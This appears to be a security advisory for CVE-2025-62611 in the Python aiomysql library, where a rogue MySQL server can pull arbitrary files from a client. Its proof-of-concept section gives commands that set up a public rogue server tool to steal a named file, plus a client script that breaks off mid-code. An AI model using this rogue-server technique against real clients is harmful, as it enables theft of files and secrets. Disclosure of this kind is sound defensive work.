aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
Date: 2025-10
Affected: pip/aiomysql
Attack vector: other
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2025-62611
CWE: CWE-73

### Summary The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. ### Details It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503. ### PoC First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server 1. Create a file to be stolen by the rogue server: `echo "gotcha" > /tmp/my_secret_file.txt` 2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server` 3. Build the server: `make rogue_mysql_server` 4. Generate a sample config: `rogue_mysql_server -generate` 5. In `config.yaml` change `file_list` to `["/tmp/my_secret_file.txt"]` 6. Run the server: `./rogue_mysql_server -config config.yaml` Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal: ```python3 import asyncio import aiomysql loop = asyncio.get_event_loop() async def test_example(): conn = await aiomysql.connect( host="127.0.0.1", port=3306, user="root", password="", db="mysql", loop=loop, local_infile=0, # note that we explicitly forbid local_infile ) cursor = await conn.cursor()


Mitigations:

Architectural layers (MAESTRO):